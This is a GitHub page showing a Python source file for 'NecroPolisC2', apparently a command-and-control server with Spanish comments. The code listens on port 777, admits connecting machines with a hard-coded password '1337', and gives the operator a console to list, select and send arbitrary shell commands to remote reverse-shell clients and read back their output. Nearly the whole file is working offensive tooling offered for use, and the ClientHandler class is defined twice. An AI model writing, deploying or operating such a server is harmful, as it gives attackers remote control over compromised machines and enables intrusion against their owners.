-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnecroc2serveralpha.py
More file actions
399 lines (366 loc) · 13.6 KB
/
Copy pathnecroc2serveralpha.py
File metadata and controls
399 lines (366 loc) · 13.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
#!/usr/bin/env python3
import socket
import threading
import time
import sys
import select
import signal
import os
import logging
# Configuración básica de logs
logging.basicConfig(
filename='necropolis_c2.log',
level=logging.INFO,
format='[%(asctime)s] %(levelname)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
)
# ====================
# CLASE: ClientHandler
# ====================
class ClientHandler(threading.Thread):
def __init__(self, conn, addr, client_id, server):
super().__init__(daemon=True)
self.conn = conn
self.addr = addr
self.client_id = client_id
self.server = server
self.alive = True
self.buffer = b""
self.lock = threading.Lock()
self.hostname = None # Se llenará más tarde
def __str__(self):
return f"{self.addr[0]}:{self.addr[1]}"
def run(self):
try:
self.conn.settimeout(0.5)
while self.alive:
ready = select.select([self.conn], [], [], 0.5)
if ready[0]:
data = self.conn.recv(4096)
if not data:
break
with self.lock:
self.buffer += data
self.print_output()
except Exception as e:
logging.error(f"Error en cliente {self.client_id}: {e}")
finally:
self.close()
def print_output(self):
try:
text = self.buffer.decode(errors='ignore')
self.buffer = b""
if text.strip():
print(f"\n[Cliente {self.client_id}]:\n{text}")
if self.server.selected_client == self.client_id:
print("necropolisc2> ", end="", flush=True)
except Exception:
self.buffer = b""
def send(self, message):
try:
with self.lock:
self.conn.sendall(message.encode('utf-8'))
except Exception as e:
logging.warning(f"No se pudo enviar mensaje al cliente {self.client_id}: {e}")
self.close()
def receive(self, timeout=1.5):
self.conn.settimeout(timeout)
total_data = b""
try:
while True:
data = self.conn.recv(4096)
if not data:
break
total_data += data
if len(data) < 4096:
break
except socket.timeout:
pass
except Exception as e:
logging.warning(f"Error recibiendo de cliente {self.client_id}: {e}")
try:
return total_data.decode(errors='ignore')
except Exception:
return ""
def close(self):
if not self.alive:
return
self.alive = False
try:
self.conn.shutdown(socket.SHUT_RDWR)
except:
pass
try:
self.conn.close()
except:
pass
with self.server.lock:
if self.client_id in self.server.clients:
del self.server.clients[self.client_id]
print(f"[-] Cliente {self.client_id} desconectado.")
logging.info(f"Cliente {self.client_id} desconectado.")
# =================
# CLASE: NecroPolisC2
# =================
class NecroPolisC2:
def __init__(self, host='0.0.0.0', port=777, password='1337'):
self.host = host
self.port = port
self.password = password
self.server_socket = None
self.clients = {}
self.client_counter = 0
self.selected_client = None
self.lock = threading.Lock()
self.running = False
self.prompt = "necropolisc2> "
def start(self):
self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server_socket.bind((self.host, self.port))
self.server_socket.listen(100)
self.running = True
print(f"[+] NecroPolisC2 iniciado en {self.host}:{self.port} con contraseña '{self.password}'")
logging.info(f"Servidor iniciado en {self.host}:{self.port}")
threading.Thread(target=self.accept_clients, daemon=True).start()
self.cmd_loop()
def accept_clients(self):
while self.running:
try:
conn, addr = self.server_socket.accept()
threading.Thread(target=self.handle_client_auth, args=(conn, addr), daemon=True).start()
except Exception as e:
logging.error(f"Error aceptando cliente: {e}")
def handle_client_auth(self, conn, addr):
try:
conn.settimeout(10)
conn.send(b"Password: ")
received_pass = conn.recv(1024).decode(errors='ignore').strip()
if received_pass != self.password:
conn.send("[-] Acceso denegado. Contraseña incorrecta.\n".encode('utf-8'))
conn.close()
logging.warning(f"Intento fallido de acceso desde {addr}")
return
conn.send(b"[+] Acceso concedido. Shell lista.\n")
conn.settimeout(None)
with self.lock:
self.client_counter += 1
client_id = self.client_counter
handler = ClientHandler(conn, addr, client_id, self)
self.clients[client_id] = handler
handler.start()
print(f"[+] Nueva conexión: {handler}")
logging.info(f"Cliente conectado desde {addr[0]}:{addr[1]} con ID {client_id}")
except Exception as e:
logging.error(f"Error durante autenticación: {e}")
try:
conn.close()
except:
pass
def cmd_loop(self):
try:
while self.running:
cmd = input(self.prompt).strip()
if not cmd:
continue
parts = cmd.split()
base_cmd = parts[0].lower()
if base_cmd == "help":
self.print_help()
elif base_cmd == "list":
self.list_clients()
elif base_cmd == "select":
if len(parts) < 2 or not parts[1].isdigit():
print("[-] Uso: select <id>")
continue
self.select_client(int(parts[1]))
elif base_cmd == "disconnect":
if len(parts) < 2 or not parts[1].isdigit():
print("[-] Uso: disconnect <id>")
continue
self.disconnect_client(int(parts[1]))
elif base_cmd == "exit":
print("[*] Cerrando servidor...")
self.running = False
break
else:
self.send_command(cmd)
except KeyboardInterrupt:
print("\n[*] Saliendo por Ctrl+C...")
self.running = False
finally:
self.shutdown()
def print_help(self):
print("""
Comandos disponibles:
help - Mostrar esta ayuda
list - Listar clientes conectados
select <id> - Seleccionar cliente para enviar comandos
disconnect <id> - Desconectar cliente especificado
exit - Salir del servidor
cualquier otro texto - Enviar comando al cliente seleccionado
""")
def list_clients(self):
with self.lock:
if not self.clients:
print("[-] No hay clientes conectados.")
return
for cid, client in self.clients.items():
status = "Alive" if client.alive else "Dead"
selected = "<-- seleccionado" if self.selected_client == cid else ""
print(f"{cid}. {client} [{status}] {selected}")
def select_client(self, client_id):
with self.lock:
client = self.clients.get(client_id)
if client and client.alive:
self.selected_client = client_id
print(f"[+] Cliente '{client_id}' seleccionado: {client}")
return True
else:
print(f"[-] Cliente '{client_id}' no disponible.")
return False
def disconnect_client(self, client_id):
with self.lock:
client = self.clients.get(client_id)
if client:
client.close()
del self.clients[client_id]
print(f"[+] Cliente '{client_id}' desconectado.")
if self.selected_client == client_id:
self.selected_client = None
else:
print(f"[-] Cliente '{client_id}' no encontrado.")
def send_command(self, command):
if self.selected_client is None:
print("[-] No hay cliente seleccionado. Usa 'select <id>'.")
return
with self.lock:
client = self.clients.get(self.selected_client)
if client is None or not client.alive:
print(f"[-] Cliente '{self.selected_client}' no disponible.")
self.selected_client = None
return
try:
client.send(command + "\n")
time.sleep(0.4)
output = client.receive(timeout=2)
if output.strip() == "":
print("[!] Sin respuesta del cliente.")
else:
print(output.strip())
except Exception as e:
logging.error(f"Error enviando comando: {e}")
def shutdown(self):
print("[*] Cerrando conexiones y liberando recursos...")
self.running = False
with self.lock:
for client in list(self.clients.values()):
client.close()
self.clients.clear()
try:
if self.server_socket:
self.server_socket.close()
except:
pass
print("[*] Servidor apagado correctamente.")
class ClientHandler(threading.Thread):
def __init__(self, conn, addr, client_id, server):
super().__init__(daemon=True)
self.conn = conn
self.addr = addr
self.client_id = client_id
self.server = server
self.alive = True
self.lock = threading.Lock()
self.buffer = b""
def run(self):
try:
while self.alive:
ready = select.select([self.conn], [], [], 0.5)
if ready[0]:
data = self.conn.recv(4096)
if not data:
break
with self.lock:
self.buffer += data
self.print_output()
else:
time.sleep(0.1)
except Exception as e:
print(f"[-] Error con cliente {self.client_id}: {e}")
finally:
self.close()
def print_output(self):
try:
text = self.buffer.decode(errors='ignore')
if text.strip():
print(f"\n[Cliente {self.client_id}]:\n{text}")
self.buffer = b""
if self.server.selected_client == self.client_id:
print("necropolisc2> ", end="", flush=True)
except Exception:
self.buffer = b""
def send(self, message):
try:
with self.lock:
self.conn.sendall(message.encode('utf-8'))
except Exception as e:
print(f"[-] Error enviando datos al cliente {self.client_id}: {e}")
self.close()
def receive(self, timeout=2):
self.conn.settimeout(timeout)
total_data = b""
try:
while True:
data = self.conn.recv(4096)
if not data:
break
total_data += data
if len(data) < 4096:
break
except socket.timeout:
pass
except Exception as e:
print(f"[-] Error recibiendo datos: {e}")
try:
return total_data.decode(errors='ignore')
except Exception:
return ""
def close(self):
if self.alive:
self.alive = False
try:
self.conn.shutdown(socket.SHUT_RDWR)
except:
pass
try:
self.conn.close()
except:
pass
with self.server.lock:
if self.client_id in self.server.clients:
del self.server.clients[self.client_id]
print(f"[-] Cliente {self.client_id} desconectado y conexión cerrada.")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="NecroPolisC2 - Servidor de Comando y Control.")
parser.add_argument("--host", default="0.0.0.0", help="Dirección IP del servidor (por defecto: 0.0.0.0)")
parser.add_argument("--port", type=int, default=777, help="Puerto de escucha (por defecto: 777)")
parser.add_argument("--password", default="1337", help="Contraseña para los clientes (por defecto: 1337)")
args = parser.parse_args()
c2_server = NecroPolisC2(host=args.host, port=args.port, password=args.password)
def signal_handler(sig, frame):
print("\n[!] Interrupción detectada. Cerrando servidor...")
c2_server.shutdown()
print("[*] NecroPolisC2 finalizado.")
sys.exit(0)
# Captura señales como Ctrl+C y `kill`
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
try:
print(f"[*] Iniciando NecroPolisC2 en {args.host}:{args.port}...")
c2_server.start()
except Exception as e:
print(f"[!] Error crítico al iniciar el servidor: {e}")
c2_server.shutdown()
sys.exit(1)